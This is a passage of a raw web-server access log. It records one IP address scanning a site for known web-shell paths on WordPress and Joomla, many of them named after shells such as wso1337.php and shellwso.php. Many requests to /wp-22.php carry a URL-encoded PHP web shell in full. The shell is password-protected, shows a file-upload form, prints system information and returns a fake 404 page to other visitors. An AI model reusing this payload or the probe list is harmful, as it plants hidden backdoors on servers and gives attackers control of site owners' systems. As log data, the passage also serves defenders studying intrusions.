html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:16 +0530] "GET /wp-beckup.php HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:16 +0530] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 302 258 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:17 +0530] "GET /images/tahe.php HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:17 +0530] "GET /6index.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:17 +0530] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:17 +0530] "GET /8index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:17 +0530] "GET /ohayo.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:17 +0530] "GET /wp-includes/images/media/shellwso.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:17 +0530] "GET /administrator/templates/isis/error.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:17 +0530] "GET /wp-includes/991176.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:18 +0530] "GET /wp-includes/images/wp-blog.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:19 +0530] "GET /k.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:20 +0530] "GET /new_license.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:21 +0530] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:22 +0530] "GET /wp-admin/setup-config.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:22 +0530] "GET /wp-admin/includes/media-site.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:24 +0530] "GET /wp-includes/pomo/xwsoooo.php HTTP/1.1" 302 248 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:26 +0530] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:26 +0530] "GET /templates/beez5/index.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:29 +0530] "GET /2.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:29 +0530] "GET /wp/rahma.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:29 +0530] "GET /wp-includes/css/xm.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:31 +0530] "GET /classwithtostring.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:31 +0530] "GET /export.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:32 +0530] "GET /shell20220621.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:32 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:32 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:32 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /alexus-mailer.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /xox.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wso1337.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-contentxxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 262 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /11index.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:44:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E